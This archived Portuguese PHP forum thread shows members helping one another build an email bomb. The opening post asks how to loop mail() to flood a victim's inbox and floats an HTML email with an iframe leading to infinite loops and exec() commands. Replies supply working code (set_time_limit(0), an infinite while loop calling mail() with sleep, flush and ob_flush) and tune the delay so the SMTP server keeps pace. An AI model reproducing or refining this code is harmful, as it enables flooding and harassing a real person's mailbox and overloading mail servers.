Ir para conteúdo

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

fpe

while usando uma função mail

Recommended Posts

Galera,

Neste fds eu tentei pegar um colega meu rodando um script assim:

EX:

 

PHP

[*]<?php

[*]

[*]$cont = 0;

[*]

[*]while ($cont == 20) {

[*]mail('email-vitima@teste.com.br', 'mail-bomb', 'mailbomb');

[*]$cont++;

[*]

[*]}

[*]

[*]?>

 

vcs sabem me dizer se posso fazer algo assim ou se há alguma restrição, pois eu fiz la em casa e dava erro, parece que esgotava o tempo limite.

 

podemos até fzr um while infinito e superlotar a caixa postal do email citado?? ou até mesmo mandar um código HTML com um <iframe></iframe> apontando para uma página de while infinitos com comandos de execução dee programas com a função exec(); algo q quando o cara abra o e-mail não de nem pra ele deleta-lo, se for no outlook então.. auhauahuhauhauah

 

ps: Não uso a linguagem para este tipo de coisa más neste caso eu tentei explorar esta funcionalidade da função...

 

ok até mais galera

fpe .)

Compartilhar este post


Link para o post
Compartilhar em outros sites

Para mudar o tempo limite:

set_time_limit(0); // para deixar infinito

http://br.php.net/manual/pt_BR/function.set-time-limit.php

 

 

Loop infinito

while (1) {

mail('email-vitima@teste.com.br', 'mail-bomb', 'mailbomb');

}

 

Bote um Sleep pra não sobrecarregar o servidor

sleep(1); // Pausa o script por um segundo

http://br.php.net/manual/pt_BR/function.sleep.php

 

ficaria assim:

while (1) {

mail('email-vitima@teste.com.br', 'mail-bomb', 'mailbomb');

sleep(1);

}

 

caso dê algum erro use assim, com as descargas...

PHP

[*]set_time_limit(0);

[*]while (1) {

[*]mail('email-vitima@teste.com.br', 'mail-bomb', 'mailbomb');

[*]sleep(1);

[*]flush() ;

[*]ob_flush() ;

[*] }

 

Assim, ele mandaria um email de segundo em segundo, infinitamente.

Compartilhar este post


Link para o post
Compartilhar em outros sites

cara eu fiz este código q tu falou mais estas acontece eh que ele fica mandando email direto..... sem mesmo eu rodar o script...como você fez isto cara??# flush() ; # ob_flush() auihaiuahoiuhé utilizando estas funções né? pode me explicar como funciona?obrigado!!fpe :) ee pode me dizer como paro isto??? eu ja mudei o código.. mais parece q ficou gravado no PHP mesmo..Como eu faço pra ele parar de enviar ??

Compartilhar este post


Link para o post
Compartilhar em outros sites

kra..dai ele num para...pra você parar, eh soh da um STOP no navegador, ou fechar a janela, sobre os flushs melhor que eu explicar, eh você ver no manual...

 

Flush: http://br.php.net/manual/pt_BR/function.flush.php

ob_flush: http://br.php.net/manual/pt_BR/function.ob-flush.php

 

mas se você quiser um numero certo de emails, tipo 15... faz um

 

PHP

[*]for($i=1; $i<=15; $i++)

 

nolugar do while(1)

Compartilhar este post


Link para o post
Compartilhar em outros sites

cara mais foi o q eu disse...os emails continuaram a ser enviados mesmo sem eu rodar os scripts.ahh não ser que foi o seguinte:o Script ficou rodando por durante uns 2 minutos, sendo assim ele iria gerar + ou - 180 emails, o meu seridor SMTP não consegue acompanhar o script. se você tah falando q o flush() não fez isto ....oq pode ter acontecido é que este tempo que eu fiquei com o script rodando gerou uma "fila" no meu servidor... e depois disto, mesmo eu ter fechado o navegador.. ele continou enviando em decorrencia daqueles 2 minutos que eu fiquei no loop infinito...me corrija se eu estiver errado.abraçosfpe

Compartilhar este post


Link para o post
Compartilhar em outros sites

então aumenta o sleep(1) , para um slepp(5)... acho que ai o servidor acompanha, se continua sobrecarregado, aumenta pra 10

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.